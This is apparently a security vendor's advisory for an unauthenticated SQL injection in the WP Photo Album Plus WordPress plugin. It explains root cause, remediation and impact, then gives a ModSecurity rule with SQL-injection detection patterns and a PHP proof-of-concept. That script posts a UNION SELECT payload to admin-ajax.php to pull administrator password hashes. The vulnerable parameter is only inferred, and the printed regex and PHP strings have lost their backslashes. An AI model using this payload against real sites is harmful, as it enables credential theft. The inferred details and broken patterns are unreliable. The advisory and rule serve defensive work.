Atomic Edge analysis of CVE-2026-39511 (metadata-based):
This vulnerability allows unauthenticated SQL injection in the WP Photo Album Plus plugin for WordPress, affecting versions up to and including 9.1.08.001. The CVSS score is 7.5 (High), with an attack vector over the network requiring no authentication or user interaction. The plugin fails to escape a user-supplied parameter and does not prepare the SQL query properly, enabling attackers to inject arbitrary SQL into existing queries.
The root cause, based on the CWE-89 classification and description, is improper neutralization of special elements used in an SQL command. The plugin likely concatenates user input directly into an SQL query without using prepared statements or properly escaping the input with functions like wpdb->prepare(). This is a classic second-order or inline SQL injection where the attacker’s input becomes part of an existing SQL query string. Without code access, Atomic Edge research infers that a parameter such as an album ID, photo ID, or search term is passed through a GET or POST request and used unsafely in a wpdb->get_results() or wpdb->query() call.
Exploitation requires sending a crafted HTTP request to a publicly accessible endpoint that accepts the vulnerable parameter. Common targets in WP Photo Album Plus include AJAX actions like wppa or wppa-ajax, REST API endpoints, or shortcode handlers. The attacker would append SQL payloads such as UNION SELECT or time-based blind injection strings to extract data from the database. For example, an unauthenticated request to /wp-admin/admin-ajax.php with action=wppa and a parameter like album containing 1 UNION SELECT user_pass FROM wp_users would retrieve password hashes. The CVSS vector shows no authentication required, so any visitor to the site can exploit this.
Remediation requires switching to parameterized SQL queries using WordPress’s wpdb->prepare() method. The plugin must escape every user-supplied parameter before incorporating it into a query, or use query builders that handle interpolation safely. The patched version 9.1.08.002 likely adds proper escaping or prepared statements where the vulnerability existed. Developers should never concatenate user input directly into SQL strings.
The impact is severe for a high-privilege data breach. An unauthenticated attacker can extract the entire WordPress user table (including administrator password hashes), user meta, posts, options, and any other data stored in the database. Depending on the database user’s permissions, attackers might also write new data, potentially achieving remote code execution by modifying the options table to enable file uploads or executing arbitrary PHP. The confidentiality impact is rated High (C:H) in the CVSS, confirming significant data exposure.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-39511 (metadata-based)
# Blocks unauthenticated SQL injection attempts targeting WP Photo Album Plus AJAX handler
# The rule requires both the exact AJAX endpoint AND a malicious SQL pattern in the album parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20263951,phase:2,deny,status:403,chain,msg:'CVE-2026-39511 - WP Photo Album Plus SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-39511'"
SecRule ARGS_POST:action "@streq wppa" "chain"
SecRule ARGS_POST:album "@rx (?:UNIONs+SELECT|SELECTs+FROM|INSERTs+INTO|DELETEs+FROM|DROPs+TABLE|ORs+d+=d+|SLEEPs*(|BENCHMARKs*(|LOAD_FILEs*()"
"capture,status:403,msg:'CVE-2026-39511 - SQL injection payload detected in album parameter',severity:'CRITICAL',tag:'CVE-2026-39511'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-39511 - WP Photo Album Plus <= 9.1.08.001 - Unauthenticated SQL Injection
// Configurable target URL (set to the WordPress installation base URL)
$target_url = 'http://example.com/wordpress'; // CHANGE THIS
// The vulnerable parameter is inferred from common plugin AJAX handlers.
// Based on the description, the parameter name could be 'album','photo', or 'search'.
// We use a UNION-based SQL injection to extract WordPress admin password hash.
$endpoint = $target_url . '/wp-admin/admin-ajax.php';
// Build SQL injection payload: UNION SELECT to get admin user_pass
// Uses a standard WordPress table prefix (wp_) - may need adjustment.
$payload = "1 UNION SELECT user_login,user_pass,user_email,user_registered,display_name FROM wp_users WHERE id=1 -- ";
$post_data = array(
'action' => 'wppa', // Common AJAX action for WP Photo Album Plus
'album' => $payload
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
// Execute the request
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Response Code: " . $http_code . "n";
echo "Response body (truncated to 500 chars):n";
echo substr($response, 0, 500) . "n";
// Look for evidence of SQL injection success (username:hash pattern)
if (preg_match('/[a-zA-Z0-9_]+:[0-9a-fA-F]{32}/', $response)) {
echo "n[+] SQL injection likely succeeded. Extracted data appears in response.n";
} else {
echo "n[-] No obvious data extraction visible. The column count in UNION may need adjustment, or the parameter name is different.n";
}
}
curl_close($ch);
?>
